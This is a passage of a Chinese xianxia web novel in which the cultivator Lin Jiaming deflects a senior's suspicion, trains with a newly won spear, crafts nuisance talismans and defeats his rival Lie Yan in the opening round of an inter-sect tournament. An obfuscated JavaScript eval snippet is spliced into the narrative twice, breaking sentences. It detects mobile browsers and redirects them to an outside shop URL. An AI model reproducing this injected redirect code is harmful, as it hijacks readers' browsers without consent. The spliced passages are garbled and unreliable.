楚云的脸色从白转青,从青转黑。 他深吸一口气,强压下拔剑的冲动:“我在说正事。葬兵冢里的东西呢?那杆长枪,还有血池里的煞气核心。” 林家铭收起玩笑表情,正色道:“楚师兄,我真不知道你在说什么。什么长枪?什么煞气核心?我掉下去的地方就是个地火裂缝,除了岩浆就是石头,没看到什么冢啊池啊的。你是不是……被煞气影响产生幻觉了?” 他顿了顿,又补充一句:“或者,是日有所思夜有所梦,惦记我惦记出幻觉了?” 楚云握剑的手紧了紧。 他确实没亲眼看到林家铭在葬兵冢做了什么。当时林家铭钻进管道后,他们被傀儡和禁制拖住,等杀下去时只看到空荡荡的冢和血池,还有那几处故意布置的爆炸陷阱。 所有证据都表明有人拿走了核心宝物,而且大概率就是林家铭。 但问题是——没证据。 林家铭现在这副惨样,上交的材料也普普通通,完全符合一个“侥幸逃生的小修士”的人设。 就算楚云坚持怀疑,没有实锤,执事堂也不会轻易动凌霄真君的徒弟。 更何况,这混蛋还反过来调戏他! “林师弟,你好自为之。”楚云最终只说了这么一句,撤去隔音结界,转身离开。 走了两步,又停住,头也不回地说:“还有,我对你没有任何非分之想。下次再胡说八道,我不介意用剑让你闭嘴。” 林家铭看着他快步离去的背影,耸耸肩:“啧,开个玩笑嘛,这么严肃干嘛。” 不过心里却更警惕了。 楚云这家伙,观察力太敏锐了。以后得小心点。 他回到钱富贵给他准备的帐篷,简单清洗了一下,换了身干净衣服。 “林师兄,你真没事?”钱富贵凑过来小声问,“楚云师兄找你……” “没事,就是关心一下我的伤势。”林家铭摆摆手,从储物袋里掏出一个小玉瓶,塞给钱富贵,“喏,这次搞到点好东西,分你。” 钱富贵打开玉瓶一看,里面是三颗品相不错的“凝气丹”,适合炼气中期服用。 “这……这太贵重了……”钱富贵嘴上推辞,手却攥得紧紧的。 “拿着吧,咱们是队友。”林家铭笑道,“不过别声张,就说是我用宗门贡献点换的。” “明白!”钱富贵连连点头,心里暖烘烘的。 对朋友,林家铭从来不吝啬。 休息了一晚,第二天,队伍启程返回青岚宗。 路上没再出什么幺蛾子。烈焱那边估计还在气头上,但也没来找茬——五宗小会将近,这时候闹起来对谁都没好处。 七天后,青岚宗山门在望。 韩厉带着众人去执事堂交任务,林家铭作为“擅自行动但情有可原且主动上交收获”的典型案例,被执事堂长老不痛不痒地训斥了几句,罚了半个月月俸,就算了事。 从执事堂出来,林家铭一身轻松。 “林师弟。” 身后传来楚云的声音。 林家铭转身,露出职业假笑:“楚师兄还有事?不会又是想找我单独谈心吧?这次我可得收咨询费了。” 楚云嘴角抽了抽,强忍着没拔剑:“五宗小会,你也会参加吧?” “应该吧,师父让我去长长见识。”林家铭点头。 “那就小会上见。”楚云说完,转身走了。 这话听着像是约战,但语气又不太像。 林家铭耸耸肩,没往心里去。 他现在有更重要的事要做——回揽月峰,盘点收获,研究玄渊枪,顺便……突破炼气六层。 走在回揽月峰的山路上,林家铭心情愉快。 这次洞府之行,表面上看他只是个捡了点边角料的小透明。但实际上—— 玄渊枪在手。 兵煞血晶、龙纹煞髓、地火晶芯这些顶级材料在怀。 修为即将突破。 还顺便坑了离火宗一把,甩锅甩得干干净净。 “什么叫闷声发大财?这就叫闷声发大财。”林家铭哼着小曲,脚步轻快。 快到揽月峰时,他远远看到一个人影站在山道旁。 是个身穿百草峰外门弟子服的少女,手里拎着个小篮子,正朝这边张望。 白小茹。 林家铭脚步顿了顿,脸上笑容不变,心里却警惕起来。 这姑娘出现得太“巧合”了。 “林师兄!”白小茹看到他,眼睛一亮,小跑着迎上来,“我听说你回来了,特意在这儿等你。” “白师妹有事?”林家铭笑着问。 “没、没什么大事……”白小茹脸微微发红,把手里的篮子递过来,“这是我新种的灵蔬,还有几颗自己炼的辟谷丹,不成敬意……谢谢师兄之前在执事堂帮我说话。” 篮子里装着水灵灵的青菜萝卜,还有一个小玉瓶。 林家铭神识一扫——灵蔬是真的灵蔬,辟谷丹也是真的辟谷丹,都没问题。 但他没接。 “白师妹客气了,举手之劳而已。”林家铭摆摆手,“这些东西你自己留着用吧,我刚做完任务,暂时不缺。” “可是……”白小茹咬着嘴唇,眼神有些失望。 “这样吧。”林家铭从储物袋里掏出一颗之前剩的、品相一般的“养气丹”,“这颗丹药送你,就当换你的灵蔬。公平交易,谁也不欠谁,如何?” 白小茹愣了愣,接过丹药,小声说:“谢谢师兄……” “那我先回峰了,师妹保重。”林家铭点点头,绕过她,继续往山上走。 走出十几步,他回头看了一眼。 白小茹还站在原地,看着他背影,眼神复杂。 “啧,麻烦。”林家 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“好东西,可惜不能光明正大拿出来卖。”他有点遗憾。 剩下的零零碎碎材料,加起来也值个几百灵石。 最后是修为。 炼气五层后期,距离圆满只差临门一脚。 “择日不如撞日,今天就突破!” 林家铭掏出一颗“凝气丹”吞下,又握着一小块地火晶芯,运转混沌大杂烩修炼法。 混沌气旋疯狂旋转,将丹药和晶芯中的灵力吞噬转化,化作精纯的混沌灵力,冲刷经脉,冲击瓶颈。 一个时辰后。 “咔嚓——” 体内仿佛有什么东西碎了。 炼气六层,成! 林家铭睁开眼睛,长长吐出一口浊气,眼中精光内敛。 感受着体内充盈的灵力和更凝实的混沌气旋,他满意地点点头。 “现在,该研究研究新玩具了。” 他拿起玄渊枪,心念一动。 枪身龙纹亮起,一股凶厉的煞气弥漫开来,但又很快被混沌灵力中和,变得温顺。 “小黑,来,试试威力。” 林家铭走到院子里,找了块练功用的青石——这石头是凌霄真君不知道从哪搬回来的,硬度堪比精铁,专门给徒弟练手用。 他握紧枪身,回忆着之前在葬兵冢看到的那些破碎画面中,那伟岸男子使枪的片段。 虽然只是零星画面,但那种“一枪出,万物破”的意境,却深深印在他心里。 “刺!” 林家铭低喝一声,混沌灵力注入枪身,一□□出! “嗤——!” 枪尖刺入青石,如同刺豆腐,直接没入半尺!枪身上煞气爆发,青石表面“咔嚓咔嚓”裂开无数细纹! “卧槽,这么猛?”林家铭自己都吓了一跳。 这青石他之前用晦芒短刃试过,全力一击也就划道白痕。玄渊枪随手一刺,居然直接捅穿了? ,枪魂“小黑”也贡献了一部分力量——不是灵力,而是一种类似“破甲”、“锋锐”的规则加持。 “成长型凶兵,果然名不虚传。”林家铭爱不释手地抚摸着枪身。 他又试了几招简单的挑、扫、砸,发现玄渊枪不仅锋利,而且重量可随心意微调,轻时如羽毛,重时如山岳,使用起来极其顺手。 “以后近战有枪,远程有唢呐,阴人有板砖和灰粉,齐活了。”林家铭越想越美。 玩够了枪,他又把府枢令掏出来研究。 这令牌自从在洞府里大发神威后,就恢复了平平无奇的样子。但林家铭能感觉到,令牌深处还隐藏着更多功能,只是他修为不够,或者没找到正确使用方法。 “不急,慢慢来。”他把令牌收好。 接下来的几天,林家铭深居简出,巩固修为,熟悉玄渊枪,顺便把从洞府里带出来的那些玉简翻看了一遍。 玉简里大多是古修关于炼丹、炼器、阵法的心得,虽然年代久远,但有些思路还挺新颖,给了他不少启发。 “等有空了,得系统学学这些副职业。”林家铭琢磨着,“混沌灵根学什么都快,不学白不学。” 七天后,执事堂传来消息。 五宗小会,定于一个月后,在青岚宗举行。 青岚宗参会弟子名单出炉,炼气期弟子十人,林家铭的名字赫然在列。 同时公布的还有奖励: 小会前三名,可获得进入“青岚秘境”修炼三个月的资格,外加丰厚灵石丹药奖励。 “青岚秘境……”林家铭摸着下巴,“听说那里面灵气浓度是外界的五倍以上,还有不少稀有药材和妖兽。是个好地方。” 他立刻决定:这次小会,得拿个好名次。 不是为了出风头。 纯粹是想进秘境薅羊毛。 “接下来一个月,得抓紧时间提升实力了。”林家铭眼中闪过斗志,“枪法得练,修为得提,阴人套路也得更新换代……” 他站起身,伸了个懒腰。 “赚钱,变强,搞事。” “这才是修仙的正确打开方式嘛。” 窗外,夕阳西下,揽月峰上一片安宁。 但林家铭知道,这份安宁,很快就会被打乱。 五宗小会,各宗天骄汇聚。 麻烦,机遇,恩怨,都会接踵而来。 “来吧来吧。”林家铭咧嘴一笑,眼中闪着兴奋的光。 “小爷我最喜欢热闹了。” 而且他明显感觉到,刚才那一枪 27. 备战小会,骚操作预备 揽月峰,小院里。 林家铭盯着眼前摊开的几本破书和玉简,眉毛拧成了麻花。 “《基础枪法十三式》……这玩意儿是给凡间武夫用的吧?连灵力运转路线都没有。” “《惊雷枪诀》残篇……就剩三式,还他妈是炼气篇,后面筑基金丹的全没了。” “《玄兵炼体要诀》……这倒是个好东西,但要求用本命法宝温养肉身,我这才炼气六层,哪来的本命法宝?拿玄渊枪冒充?” 他把从宗门藏书阁借来的枪法秘籍推到一边,揉了揉太阳穴。 距离五宗小会只剩一个月,枪法必须得练。玄渊枪再猛,不会用也是白搭。 但问题是——青岚宗是剑修大宗。 宗门里剑法秘籍堆成山,枪法?呵呵,就藏书阁角落里那几本落灰的,还都是大路货。 “看来得自己琢磨了。”林家铭叹了口气,从储物袋里掏出玄渊枪。 枪身入手冰凉,龙纹隐现。枪魂“小黑”探出半个脑袋,歪着头看他。 “小黑啊,你会不会枪法?”林家铭随口问道。 龙魂茫然地眨了眨眼。 “得,当我没问。”林家铭摇摇头,站起身,走到院子中央。 他闭上眼睛,回想之前在葬兵冢看到的那些破碎画面。 那名伟岸男子使枪的画面虽然零碎,但那种“一往无前”、“破尽万法”的意境,却深深印在他脑海中。 “枪是百兵之王,讲究大开大合,直来直往……” 林家铭喃喃自语,手中长枪缓缓抬起。 混沌灵力注入枪身,玄渊枪微微震颤,发出低沉的嗡鸣。 他没有按照任何枪法套路,只是凭着感觉,一□□出! “嗤——” 空气被刺破的声音尖锐刺耳。 枪尖划过之处,留下一道淡淡的灰色轨迹——那是混沌灵力留下的痕迹。 “不对,太僵硬了。”林家铭皱眉收枪,重新调整姿势。 他又试了几次,每次都在细微处调整发力方式、灵力运转路线、脚步配合。 院子里,枪影翻飞。 时而如毒蛇吐信,快如闪电;时而如泰山压顶,沉重万钧;时而如龙腾九天,气势磅礴。 虽然没有固定的招式套路,但每一枪都带着一股“一枪出,万物破”的霸道意境。 而且,随着他不断尝试,枪魂“小黑”也渐渐活跃起来。 每次林家铭出枪,龙魂都会顺着枪身游走,将自身对“破甲”、“锋锐”等规则的理解,潜移默化地传递给主人。 两个时辰后。 林家铭收枪而立,浑身大汗淋漓,但眼神明亮。 “虽然没有固定招式,但我这套‘野路子枪法’,威力应该不输那些正统枪诀。”他掂了掂玄渊枪,很满意。 枪法解决了,接下来是修为。 炼气六层初期的修为,在五宗小会上只能算中游。想要争前三进秘境,至少得炼气七层,甚至更高。 “得加速了。”林家铭盘膝坐下,从储物袋里掏出几样东西。 一块地火晶芯碎片。 一颗龙纹煞髓——这玩意儿煞气太重,不能直接吞,但他有混沌灵根,可以慢慢转化。 还有之前在灵萃室顺的各种丹药。 “开整!” 混沌大杂烩修炼法全力运转! 地火晶芯中的精纯火灵力被吞噬转化,龙纹煞髓中的煞气和龙气被一点点剥离吸收,各种丹药的药力被统统碾碎融合…… 丹田里,混沌气旋转速越来越快,体积也在缓缓膨胀。 三天后。 “咔嚓——” 炼气六层中期,破! 林家铭睁开眼睛,吐出一口带着淡淡煞气的浊气。 “这速度,够快。”他感受着体内又壮大了一圈的混沌气旋,咧嘴笑了。 照这个速度,一个月内冲击炼气七层,问题不大。 不过光有修为和枪法还不够。 五宗小会不是生死搏杀,是擂台比试,有很多规则限制。比如不能使用一次性大威力符箓,不能使用超出自身修为的法宝,不能下死手等等。 “规矩就是用来钻空子的。”林家铭摸着下巴,眼中闪着狡黠的光。 他需要一些“合规但很恶心人”的手段。 首先,唢呐得检查一下。 他从储物袋里掏出那支加强过的唢呐——就是之前在宗门小比时用过的那支林家铭吹了两声,确认唢呐状态良好,“《大出殡》的威力应该够用了,不需要再升级。” 接下来是符箓。 林家铭之前用的都是灰集买的劣质货,威力小,成功率低。这次他决定自己画。 画符需要符纸、符笔、灵墨。 符笔他有——之前灵萃室捡到的一支中品符笔,虽然旧了点但能用。 符纸和灵墨得买。 “又得花钱。”林家铭肉痛地从储物袋里数出五十块下品灵石,下山去了宗门的坊市。 半个时辰后,他抱着一沓空白符纸和几瓶基础灵墨回来了。 “先试试最简单的火球符。” 铺开符纸,提笔蘸墨,凝神静气。 然后——笔走龙蛇! 混沌灵力顺着笔尖注入符纸,在纸上勾勒出火球符的符文轨迹。 “噗。” 第一张,失败。灵力注入不均匀,符文没成型就炸了。 “再来。” 第二张,还是失败。符笔走势歪了。 第三张,第四张,第五张…… 连续失败了二十几张,林家铭终于摸到点门道。 混沌灵力的优势在这时候体现出来了——他可以随意调整灵力的属性,模拟火属性的狂暴、水属性的柔和、雷属性的迅疾……画什么属性的符箓,就用什么属性的灵力。 第六十三张。 笔尖落下最后一笔,整张符纸亮起微弱的红光,随即内敛。 “成了!”林家铭拿起这张火球符,感受着其中稳定的火灵力波动,咧嘴笑了。 虽然只是最低级的下品火球符,威力大概相当于炼气三层修士全力一击,但这是个好的开始。 接下来几天,他除了修炼和练枪,就是疯狂画符。 火球符、冰锥符、土墙符、风刃符、金光符……各种基础符箓画了个遍。 成功率从一开始的百分之一,慢慢提升到百分之三十,百分之五十…… 到后来,他甚至开始尝试改良符文。 比如把火球符的“爆裂”特性增强,变成“爆炎符”;把冰锥符的“穿透”特性强化,变成“冰刺符”…… 虽然大多数改良都失败了,但偶尔成功一两次,就能弄出些效果奇葩但很有用的变种符箓。 比如“臭气符”——击中目标后炸开一团经久不散的恶臭气体,能有效干扰对手呼吸和判断。 比如“闪光符”——炸开后发出刺眼强光,致盲效果一流。 比如“粘胶符”——产生一片粘性极强的胶状物,能把人黏在地上动弹不得。 “这些玩意儿,虽然上不了台面,但恶心人足够了。”林家铭看着桌上那堆奇奇怪怪的符箓,很满意。 除了符箓,他还抽空研究了一下阵法。 从洞府带回来的玉简里,有一篇《小乾坤禁制补遗》,里面记载了不少偏门但实用的阵法。 比如“连环迷踪阵”——布下后能让一片区域地形错乱,敌人走进去就跟进了迷宫似的。 比如“灵力干扰阵”——能扰乱阵法范围内的灵力波动,让对手施法困难。 比如“视觉扭曲阵”——能制造幻象,干扰视线。 “这些阵法,配合我的符箓和唢呐,擂台战简直无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189088|197041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敌。”林家铭越琢磨越兴奋。 他甚至开始设想各种骚操作: 对手冲上来,先扔一张粘胶符黏住他的脚; 然后启动灵力干扰阵,让他施法慢半拍; 接着唢呐一吹,《大出殡》音攻直冲神魂; 最后趁对手头晕眼花,一枪捅过去…… “完美。”林家铭打了个响指。 当然,这些只是设想。实战中变数太多,得随机应变。 但准备工作做得越充分,胜算就越大。 时间一天天过去。 林家铭的修为稳步提升,从炼气六层中期,到后期,再到圆满…… 枪法越来越纯熟,虽然还是那套“野路子”,但配合玄渊枪的凶威,威力不容小觑。 符箓画了厚厚一沓,各种阴人套路烂熟于心。 阵法也掌握了几种,虽然都是基础款,但用好了也能起奇效。 转眼,距离五宗小会只剩三天。 这天下午,林家铭正在院子里练枪,突然听到敲门声。 “林师兄在吗?”是钱富贵的声音。 林家铭收枪开门,看到钱富贵站在门外,手里还拿着个小包裹。 “钱师弟?有事?” “林师兄,听说你要参加五宗小会,我特意给你做了点小玩意儿。”钱富贵把包裹递过来,有些不好意思地说,“不是什么贵重东西,就是些机关小道具,或许能派上用场。” 林家铭打开包裹一看。 里面有几个拇指大小的金属球,几根细如发丝的银线,还有几个造型古怪的小夹子。 “这是‘迷烟弹’,砸出去会炸开一团烟雾,能遮挡视线。” “这是‘绊脚丝’,透明的,布在地上很难发现,一绊就倒。” “这是‘痒痒夹’,夹在衣服上会释放一种让人奇痒无比的粉末,效果能持续一炷香时间……” 钱富贵一一介绍,眼睛亮晶晶的,“这些都是我研究机关术时捣鼓出来的小玩意儿,上不了台面,但阴……咳咳,但出其不意效果不错。” 林家铭看着这些“小玩意儿”,眼睛也亮了。 “好东西啊!”他拍拍钱富贵的肩膀,“钱师弟,你这手艺绝了!这些东西太实用了!” 钱富贵被夸得脸发红:“林师兄不嫌弃就好。对了,还有这个……” 他又从怀里掏出一个小木盒,打开,里面躺着一枚灰扑扑的戒指。 “这是‘储灵戒’,我自己琢磨着做的。能储存相当于炼气五层修士全部的灵力,关键时刻可以瞬间补充灵力。不过只能储存一次,用完了得重新充能。” 林家铭拿起戒指,戴在手上。 戒指看起来普普通通,但神识一扫,就能感觉到里面有个小小的空间,储存着一股精纯的灵力。 “这玩意儿……能卖不少钱吧?”林家铭问。 钱富贵挠挠头:“材料不贵,就是制作麻烦。而且只能储存相当于炼气五层的灵力,对筑基以上的修士没啥用,卖不上价。” “但对我很有用。”林家铭认真地说,“钱师弟,谢了。这些东西我收下,以后有什么需要帮忙的,尽管开口。” “林师兄客气了。”钱富贵笑道,“那我先回去了,不打扰你修炼。” 送走钱富贵,林家铭看着桌上那堆机关小道具,心里暖暖的。 朋友不多,但个个靠谱。 他把迷烟弹、绊脚丝、痒痒夹这些分门别类收好,储灵戒戴在手上。 万事俱备。 只等小会开始。 傍晚,夕阳西下。 林家铭站在院子里,看着天边的晚霞,深吸一口气。 “五宗小会……” “让我看看,这次能薅多少羊毛。” 他咧嘴一笑,眼中闪着兴奋又危险的光。 搞事,他可是专业的。 28. 小会开幕,骚操作开场 五宗小会当天,青岚宗主峰广场人山人海。 青石板铺就的广场中央,矗立着五座高一丈、长宽各十丈的擂台,呈梅花状分布。擂台四周符文闪烁,是筑基期长老亲自布下的防护阵法,以防比试余波伤及围观弟子。 广场北侧搭起高台,坐着五宗带队长老和青岚宗的几位高层。正中主位上,一位须发皆白、仙风道骨的老者闭目养神——正是青岚宗当代掌门,清虚真人。 林家铭挤在青岚宗弟子的人群里,东张西望。 炼气期参赛弟子总共五十人,每宗十人。青岚宗这边,楚云、陈风、苏晴这些熟面孔都在,还有几个他不认识的内门精英。离火宗那边,他一眼就看到了烈焱——那家伙正阴沉着脸盯着他,眼神像是要吃人。 而在烈焱身边,站着一个身穿暗红色离火宗内门弟子服、腰间挂着个古朴酒葫芦的年轻人。 萧炎。 林家铭目光扫过去时,萧炎正好也看过来。两人视线在空中一碰,萧炎嘴角勾起一抹似笑非笑的弧度,随即移开目光,装作若无其事地跟身边离火宗弟子说话。 “啧,装得还挺像。”林家铭心里嘀咕。 这时,清虚真人睁开眼睛,声音不高,却清晰地传遍整个广场: “五宗小会,旨在切磋交流,增进五宗情谊。比试分为三轮:第一轮个人战,五十进二十五;第二轮团队战,二十五人混合组队,秘境求生;第三轮擂台决胜,决出前十排名。” “现在,开始第一轮抽签。” 一名执事弟子捧着签筒走上高台。五十名参赛弟子依次上前抽取竹签。 林家铭抽到的是“丙三”,意味着他在丙号擂台,第三场出场。 他刚看完签号,就听见旁边传来一声冷笑。 “丙三?巧了,我是丙四。” 林家铭扭头,看到烈焱晃着手中的竹签,脸上带着狰狞的笑:“林师弟,看来老天都看你不顺眼,第一轮就让你遇到我。” 周围的弟子们顿时窃窃私语。 “烈焱对林家铭?这可有看头了。” “听说洞府任务里林家铭坑了烈焱一把?” “炼气七层对炼气六层,烈焱稳赢吧?” “那可不一定,林家铭那家伙邪门得很……” 林家铭看着烈焱那张得意的脸,突然咧嘴一笑:“烈师兄,这么想跟我亲近?抽签都要挨着,不知道的还以为你暗恋我呢。” “你!”烈焱被这突如其来的暧昧调戏噎得脸一阵青一阵红,“谁他妈暗恋你!你别胡说八道!” “不是暗恋?那怎么我一出现你就盯着我看,抽个签都要凑到我旁边?”林家铭故作惊讶,“哎呀,烈师兄,虽然我长得是挺帅,但你这样我压力很大啊。我们青岚宗和离火宗可是正经宗门关系,可不能搞那些不正经的……” “闭嘴!”烈焱气得浑身发抖,“擂台上我要撕烂你这张嘴!” “撕烂我的嘴?”林家铭眨眨眼,“烈师兄你好暴力啊,不过……我喜欢。” 周围弟子一阵哄笑,有几个甚至吹起了口哨。 烈焱气得差点当场拔刀,被旁边的离火宗弟子死死拉住。 “烈师兄冷静!这里是青岚宗地盘!” “等比试开始再收拾他!” 林家铭耸耸肩,转身往丙号擂台走去,嘴里还哼着小调:“对面的师兄看过来~看过来~看过来~” 经过萧炎身边时,他听见一个极低的声音传入耳中: “烈焱最近新练了一招‘炎龙破’,蓄力时间三息,爆发范围三丈,小心。另外……你调戏人的方式还挺别致。” 林家铭脚步不停,只是右手在身侧比了个“OK”的手势——虽然萧炎大概看不懂这个手势,但意思应该能懂。 萧炎看着那个奇怪的手势,挑了挑眉,眼底闪过一丝笑意。 很快,第一轮比试开始。 五座擂台同时开打,金铁交鸣声、法术爆炸声、呼喝声此起彼伏。 林家铭没急着去看自己的擂台,反而在各个擂台间溜达,观察其他参赛者的实力和路数。 青岚宗这边,楚云的剑法依旧犀利,三招就解决了对手;苏晴的冰系法术控制力很强,把对手冻成了冰雕;陈风则是硬碰硬,靠着浑厚的灵力硬生生把对手轰下擂台。 离火宗那边,烈焱还没上场,萧炎倒是先打了。 丙号擂台第二场,萧炎对玄水宗的一名女弟子。 那女弟子修为炼气六层,一手水法使得颇为灵动,水箭、水盾、水牢术交替使用,攻势连绵不绝。 但萧炎应对得游刃有余。 他甚至连背后的长剑都没拔,只是单手掐诀,一道道赤红火线从指尖弹出,精准地击溃水箭,烧穿水盾,破开水牢。动作轻描淡写,仿佛不是在比试,而是在陪小孩玩耍。 三息后,女弟子灵力耗尽,主动认输。 萧炎抱拳行礼,转身下台。经过林家铭身边时,低声说了句:“该你了,别阴沟里翻船。” “放心,翻不了。”林家铭笑了笑,“倒是萧师兄,刚才对那位师姐那么温柔,不会也是暗恋人家吧?” 萧炎嘴角抽了抽:“……你还是闭嘴的时候比较可爱。” “那你可要失望了,我这人最大的优点就是话多。”林家铭咧嘴一笑,纵身跃上丙号擂台。 擂台上,烈焱已经等得不耐烦了。 “磨磨蹭蹭,还以为你不敢来了。”烈焱冷笑,“今天我就让你知道,得罪我离火宗的下场!” 裁判长老看了看两人,沉声道:“丙号擂台第三场,青岚宗林家铭,对离火宗烈焱。比试开始——点到为止,不得故意伤残,违者重罚!” 话音刚落,烈焱动了! “炎爆步!” 他脚下一踏,擂台地面炸开一团火光,整个人如同炮弹般冲向林家铭!右手握拳,拳头上凝聚起炽热的火焰,一拳轰向林家铭面门! “火云拳!” 拳风灼热,空气扭曲。 这一拳的威势,已经达到了炼气七层巅峰的水准! 观战弟子们一阵惊呼。 “烈焱这是下死手啊!” “林家铭危险了!” 然而林家铭却不闪不避。 他站在原地,看着那团越来越近的火焰拳头,嘴角勾起一抹诡异的笑。 然后—— 他掏出了一支唢呐。 “呜——!!!” 凄厉刺耳的唢呐声骤然响起! 《大出殡》第一段,送魂调! 音波如同实质,以林家铭为中心向四周炸开!烈焱冲过来的身影猛地一滞,拳头上的火焰都晃动了一下! 音攻直透神魂! 烈焱只觉得脑子“嗡”的一声,眼前发黑,耳中全是那该死的唢呐声,神魂像是被重锤狠狠敲了一记! “该死!又是这招!”烈焱咬牙,强行稳住心神,拳头继续前轰! 但就这一滞的工夫,林家铭已经动了。 他脚下一滑,身形如同鬼魅般侧移三尺,刚好避开烈焱的拳头。同时左手一扬—— “咻咻咻!” 三张符箓激射而出! 不是攻击符箓,而是“臭气符”! “噗!噗!噗!” 符箓在烈焱身边炸开,三团墨绿色的气体瞬间弥漫开来! “咳咳……什么鬼东西!”烈焱被呛得眼泪直流,那臭味简直无法形容,像是腐烂了三个月的臭鸡蛋混合了陈年茅厕的味道! 更要命的是,这臭味不仅刺鼻,还带着轻微的麻痹效果,让他呼吸不畅,灵力运转都慢了一丝! “林家铭!你卑鄙!”烈焱怒吼,双手掐诀,“炎龙——呃!” 他刚要施展萧炎提醒过的那招“炎龙破”,林家铭的唢呐又响了。 “呜哇——呜哇——!!” 这次不是《大出殡》,而是一段极其刺耳、毫无韵律、纯粹就是噪音的调子! 这噪音对神魂的冲击不如《大出殡》,但干扰效果极强!烈焱被吵得心烦意乱,根本没法集中精神蓄力! “我他妈……”烈焱气得想骂娘。 但林家铭不给他机会。 趁烈焱被臭气和噪音双重干扰,林家铭动了真格的。 他把唢呐往腰间一插,右手虚握—— 玄渊枪出现在手中! 虽然枪身被混沌灵力包裹,看起来灰扑扑的不起眼,但那股隐而不发的凶煞之气,还是让靠近擂台的几个弟子打了个寒颤。 “烈师兄,接我一枪!” 林家铭踏步前冲,一枪直刺! 这一枪没有花哨,就是最简单、最直接的直刺! 但枪出如龙! 枪尖撕裂空气,发出尖锐的啸声!枪身上灰蒙蒙的混沌灵力涌动,隐隐有龙纹浮现! 烈焱瞳孔骤缩! 他感觉到了危险!这一枪的威力,绝对超出了炼气六层的范畴! “炎盾!” 他不敢硬接,双手一合,一面火焰盾牌在身前凝聚! “嗤——!” 玄渊□□在炎盾上! 没有惊天动地的爆炸,只有一声轻微的撕裂声。 然后,在所有人震惊的目光中,那面足以抵挡炼气八层全力一击的炎盾,如同纸糊一般,被枪尖轻易刺穿! 枪尖去势不减,直指烈焱胸口! “我认输!”烈焱惊恐大叫! 枪尖在距离他胸口三寸处停住。 林家铭收枪,咧嘴一笑:“承让,烈师兄。其实你不用认输这么快,我本来还想多跟你‘亲近亲近’呢。” “你!”烈焱气得脸色铁青,但输了就是输了,只能咬牙下台。 擂台下,一片寂静。 然后—— “哗——!!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189089|197041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 炸开了锅! “一枪!就一枪破了烈焱的炎盾!” “那是什么枪?看起来普普通通,威力怎么这么大?” “林家铭不是才炼气六层吗?这战力都快赶上炼气八层了吧!” “那唢呐和臭气符也太恶心了……不过对付烈焱这种嚣张的家伙,正好!” 高台上,几位带队长老也微微动容。 清虚真人看了眼旁边闭目养神的凌霄真君,笑道:“凌师弟,你这徒弟,路子有点野啊。” 凌霄真君眼睛都没睁,嘟囔道:“野就野呗,能赢就行。打架还讲什么风度,脑子有坑。” 离火宗的带队长老脸色不太好看,但也没说什么——毕竟林家铭虽然手段恶心,但确实没违规。要怪只能怪烈焱轻敌,被先手控到死。 擂台上,裁判长老愣了几秒,才反应过来,高声道:“丙三场,青岚宗林家铭胜!” 林家铭收枪下台,钱富贵兴奋地凑上来:“林师兄,牛逼啊!一枪就干翻了烈焱!” “运气好,他轻敌了。”林家铭谦虚道,但眼里闪着得意。 楚云看了他一眼,欲言又止,最终还是什么都没说。 苏晴倒是笑盈盈地说:“林师弟那一枪,意境很深啊。有机会切磋一下?” “苏师姐说笑了,我那是野路子,上不了台面。”林家铭连忙摆手。 正说着,下一场比试开始了。 萧炎又上场了。 这次他对的是厚土宗的一名体修弟子。那弟子身材魁梧,皮肤呈土黄色,显然是修炼了某种土系炼体功法,防御力极强。 比赛开始,厚土宗弟子就怒吼一声,浑身泛起土黄色光芒,如同一头蛮牛般冲向萧炎! “土灵战体!” 萧炎这次终于拔剑了。 剑身赤红,出鞘时带起一道火光。 他站在原地,等那体修冲到面前三丈时,才一剑挥出。 “炎斩。” 简单的一剑。 没有华丽的剑光,没有滔天的火焰。 只是一道细细的、赤红的剑痕,划过空气。 然后—— “轰!” 那体修弟子身上的土黄色光芒瞬间炸裂!整个人倒飞出去,摔下擂台,胸口一道焦黑的剑痕,深可见骨! 全场再次寂静。 一剑,破防,秒杀。 萧炎收剑归鞘,对裁判点点头,转身下台。 经过林家铭身边时,他脚步顿了顿,低声道:“你那枪,不错。不过下次调戏人的时候,可以换个更有创意的方式。” “比如?”林家铭挑眉。 “比如……”萧炎想了想,“你可以说他衣服配色很丑,发型很土,或者……身上有异味。” 林家铭眼睛一亮:“有道理!萧师兄不愧是同道中人!” “谁跟你是同道中人。”萧炎失笑摇头,走开了。 但这一番“友好交流”,落在某些人眼里,味道就不对了。 楚云的眉头皱得更紧了。 他越发确定,林家铭和萧炎之间,绝对有不可告人的关系。 第一轮比试继续进行。 林家铭之后又看了几场,重点观察了几个可能成为对手的人: 厚土宗的石岳——就是之前在洞府任务里幸存的厚土宗弟子,一手土法攻防一体,很难缠。 玄水宗的水月儿——那个被萧炎轻松击败的女修的师姐,炼气七层,水法造诣很深,据说还修了一门音攻秘术。 锐金宗的金锋——剑修,剑法快如闪电,走的是“唯快不破”的路子。 以及萧炎——这家伙深不可测,刚才那两场明显没出全力。 “都不是善茬啊。”林家铭摸着下巴,“得想想怎么阴……咳咳,怎么应对。” 傍晚时分,第一轮全部结束。 五十人淘汰一半,剩下二十五人进入第二轮。 青岚宗这边,楚云、苏晴、陈风、林家铭都晋级了,另外还有两个内门弟子。离火宗那边,萧炎和另外三人晋级,烈焱被淘汰,气得当场离场,连后续比赛都不看了。 